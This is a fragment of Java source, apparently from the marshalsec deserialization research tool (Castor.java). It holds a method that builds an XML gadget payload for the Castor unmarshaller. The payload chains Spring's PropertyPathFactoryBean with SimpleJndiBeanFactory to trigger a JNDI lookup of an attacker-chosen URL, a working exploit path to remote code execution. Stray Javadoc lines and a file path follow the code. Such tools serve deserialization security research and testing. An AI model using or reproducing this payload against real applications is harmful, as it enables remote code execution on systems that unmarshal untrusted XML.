@Override
    @Args ( minArgs = 1, args = {
        "jndiUrl"
    }, defaultArgs = {
        MarshallerBase.defaultJNDIUrl
    } )
    public Object makeBeanFactoryPointcutAdvisor ( UtilFactory uf, String[] args ) throws Exception {
        String jndiName = args[ 0 ];
        return "<x xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" "
                + "xmlns:java=\"http://java.sun.com\" xsi:type=\"java:org.springframework.beans.factory.config.PropertyPathFactoryBean\">"
                + "<target-bean-name>" + jndiName + "</target-bean-name><property-path>foo</property-path>"
                + "<bean-factory xsi:type=\"java:org.springframework.jndi.support.SimpleJndiBeanFactory\">" + "<shareable-resource>" + jndiName
                + "</shareable-resource></bean-factory></x>";
    }
{@inheritDoc}

@see marshalsec.MarshallerBase#unmarshal(java.lang.Object)
src/main/java/marshalsec/Castor.java